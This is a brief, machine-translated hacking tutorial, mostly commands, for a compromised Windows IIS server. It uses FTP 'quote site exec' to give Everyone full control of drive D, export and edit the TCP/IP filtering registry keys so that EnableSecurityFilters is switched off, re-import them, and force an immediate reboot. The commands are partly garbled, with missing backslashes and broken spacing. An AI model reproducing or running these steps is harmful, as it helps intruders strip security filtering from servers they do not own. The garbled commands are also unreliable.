Quote site exec "cacls.exe d:/e/t/g everyone: F" # Set disk d to everyone. You can browse the disk so that you can download the exported file from disk d...
Quote site exec "regedit-e D: 1.reg HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesTcpip" # export the first entry on TCP/IP filtering in the Registry (-e D: 1.reg is exported and placed on drive D, file 1.reg)
Quote site exec "regedit-e D: 2.reg
HKEY_LOCAL_MACHINESYSTEMControlSet002ServicesTcpip "# export the second entry about TCP/IP filtering in the Registry
Quote site exec "regedit-e D: 3.reg
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpip "# export the third part about TCP/IP filtering in the Registry
Export all the data, and then return to ASP and put the three files down...
Edit the settings and change the TCP/IP filtering items. 1. reg finds "EnableSecurityFilters" = dword: 00000001, changes the last number 1 to 0, and then changes 2.reg, 3.reg, in the same way. save the changes... then upload and overwrite... OK .....
Run the FTP command ....
Quote site exec "regedit-s D: 1.reg"
Quote site exec "regedit-s D: 2.reg"
Quote site exec "regedit-s D: 3.reg"
OK .........
After the import, start from. Let's start it...
Quote site exec "iisreset/reboot/timeout: 00" # use his own iis service to restart his machine. The/timeout: 00 parameter allows him to restart immediately ..